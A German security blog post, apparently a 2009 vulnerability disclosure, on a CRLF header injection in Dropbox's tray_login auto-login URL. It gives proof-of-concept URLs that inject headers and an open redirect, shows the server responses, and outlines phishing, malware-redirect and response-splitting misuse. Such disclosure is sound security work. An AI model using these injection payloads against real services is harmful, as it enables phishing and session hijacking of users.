Dropbox ist ein Programm für die Betriebssysteme Mac OS X, iPhone OS, Linux und Microsoft Windows. Sein Zweck ist die Synchronisation von Daten zwischen verschiedenen Rechnern und Benutzern, sowie das einfache zur Verfügung stellen von Bildern und anderen Dateien. [Source: Wikipedia ]

Dropbox ist ein gutes Beispiel dafür, dass Cloud Computing mit relativ einfachen Mitteln durchaus nützliche Anwendungen schaffen kann. Die Möglichkeit, Daten über verschiedene Systeme hinweg synchron zu halten, ist nicht neu, wird hier aber auf simple, leicht zu implementierende Mechanismen ermöglicht.

Auch wenn der Einsatz von Dropbox für sensitive Daten nicht zur Diskussion steht, so bietet es als Medium für non-sensitive Daten durchaus seinen Reiz. Doch letzten Endes stellt sich natürlich die Frage der Sicherheit: Cloud Computing heisst ja letzten Endes nichts anderes, als Daten irgendwo am Ende der Welt auf einem System zu speichern, dessen Interna man kaum bis gar nicht kennt. Dropbox ist sich dieses Problems natürlich durchaus bewusst und schreibt daher in seiner FAQ zum Thema Sicherheit:

Nobody can see your private files in Dropbox unless you deliberately invite them or put them in your Public folder. Everything in your Public folder is, by definition, accessible to anyone. Otherwise, the only way to access the files in your Dropbox online is with your username and password.

Wird Dropbox verwendet, so gibt es verschiedene Möglichkeiten auf Daten zuzugreifen. Die einfachste und gleichzeitig eleganteste ist es, den jeweiligen Client auf dem System zu installieren und ihn mit dem eigenen Dropbox-Account zu verknüpfen. Die Client-Software erstellt daraufhin ein lokales Folder im OS-spezifischen Dokumente-Verzeichnis, in dem die Daten synchron gehalten werden. Ausserdem wird eine Shell Extension installiert, die gewisse Modifikationen und Aktionen über das Kontextmenü zulässt, wie zum Beispiel die Einsicht in ältere Versionen des Dokumentes oder der Zugriff auf Daten im Webinterface.

Will ein Benutzer, aus welchen Gründen auch immer, ein Dropbox-Verzeichnis statt über seinen lokalen Dateimanager lieber über das Webinterface auf dropbox.com steuern, so bieten sich ihm zwei Möglichkeiten: Er öffnet seinen Webbrowser, ruft dropbox.com auf, authentisiert sich und erhält so seinen Zugang. Oder: Er wählt das Verzeichnis auf und wählt die Option “Browse on Dropbox Website”, der Client generiert eine Authentisierungs-URL und das Verzeichnis öffnet sich direkt im Webbrowser.

Bei der letzteren Variante, wird die Authentisierung durch den Dropbox-Client automatisiert durchgeführt. Die aufgerufene URL ähnelt der nachfolgenden:

https://www.dropbox.com/tray_login?i=372832&t=1260625705&v=f1a9afcb67f2372780f3893d170de164f070cb84&url=c%2Fbrowse%2FPhotos%3Fns_id%3D711010

Ersetzen wir die Parameter durch Platzhalter, die ihren vermuteten Nutzen wiederspiegeln, so erhalten wir:

https://www.dropbox.com/tray_login?i={Dropbox ID}&t={Timestamp}&v={Verification String}&url={Whatever Directory you want to access}

Der Browser sendet also Authentisierungsdaten, gemeinsam mit einem Timestamp und dem Pfad des gewünschten Zielverzeichnisses an den Dropbox Server. Dieser verarbeitet diese Information nun und stellt – sofern alles geklappt hat – die entsprechenden Cookies zur Verfügung, die den Browser eine authentisierte Session ermöglichen. Ausserdem wird der Browser durch einen Location: Header direkt auf die gewünschte Zielressource weitergeleitet, die ja per uri-Parameter mitgegeben werden.

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 13:48:26 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: lid=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumjar=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: taste=YADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: jar=YADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: touch=YADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumlid=YADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
location: /c/browse/Photos?ns_id=711010
pragma: no-cache
cache-control: no-cache
Content-length: 324
(...)

Betrachten wir die Ausgabe, so fällt auf, dass der Wert des uri-Parameters direkt innerhalb des Location-Headers zu verwendet werden scheint. Wird dieser Wert nicht sauber verifiziert, ergibt sich daraus möglicherweise eine Schwachstelle. Überprüfen können wir dies zum Beispiel, in dem wir versuchen einen weiteren Header einzufügen, wie zum Beispiel über die nachfolgende URI, bei dem ein Zeilenumbruch (CRLF) und einen optionalen Header hinzufügen:

https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aX-AllYourBase:%20Are%20belong%20to%20us

Der Aufruf dieser URI führt zu folgendem Ergebnissen:

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 14:04:52 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: frmtry=MQ%3D%3D; Path=/; httponly
location: /Whatever
X-AllYourBase: Are belong to us
pragma: no-cache
cache-control: no-cache
Content-length: 348

Tatsächlich wird serverseitig keine solide Validierung des Parameters uri durchgeführt. Dadurch können wir, mit dem vorgängig gezeigten Verfahren, beliebige HTTP Header im Anschluss an den Location Header injizieren. Dadurch, dass wir unsere eigenen Header nach der originalen Location-Zeile platzieren, können wir zum Beispiel beliebige Redirects vornehmen:

https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aLocation:%20http://www.scip.ch

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 14:10:50 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: frmtry=MQ%3D%3D; Path=/; httponly
location: /Whatever
Location: http://www.scip.ch
pragma: no-cache
cache-control: no-cache
Content-length: 342

Derartige Angriffe werden häufig zu Phishing Zwecken eingesetzt, um über eine vertrauenswürdige URI (http://www.dropbox.com/…) bösartige Inhalte zu verteilen. So könnte zum Beispiel auf eine gefälschte Loginseite verwiesen werden, um in den Besitz von Authentisierungsdaten zu kommen. Auch ein Redirect auf Schadcode, zum Beispiel getarnt mit einem Namen wie DropboxUpdate_1_2.exe wäre eine mögliche Variante, mit dieser Schwachstelle auf einfachem Wege Schaden anzurichten.

Doch Redirects sind nicht alles, was sich mit einer derartigen HTTP Header Injection bewerkstelligen liesse. Über eine HTTP Response Splitting Attacke könnte eine zweite HTTP Response angehängt werden, durch die der Angreifer beliebigen Code im Kontext von www.dropbox.com zur Ausführung bringen kann. Auch diese Variante wäre zum Zwecke von Phishingangriffen denkbar, aber auch klassisches Exploiting und Session Hijacking wäre in diesem Kontext sicherlich eine denkbare Variante.

Dropbox wurde über die Schwachstelle informiert und ist um die Schliessung der serverseitigen Schwachstelle bemüht. Bis zu diesem Zeitpunkt sei empfohlen, Sessions auf dropbox.com zeitnah nach der Benutzung zu terminieren und im Hinblick auf dahingehende Links vorsichtig zu agieren.

Über den Autor

Stefan Friedli gehört zu den bekannten Gesichtern der Infosec Community. Als Referent an internationalen Konferenzen, Mitbegründer des Penetration Testing Execution Standard (PTES) und Vorstandsmitglied des Schweizer DEFCON Group Chapters trägt er aktiv zum Fortschritt des Segmentes bei.

Links

• http://de.wikipedia.org/wiki/Dropbox
• http://www.dropbox.com
• http://www.owasp.org/index.php/HTTP_Response_Splitting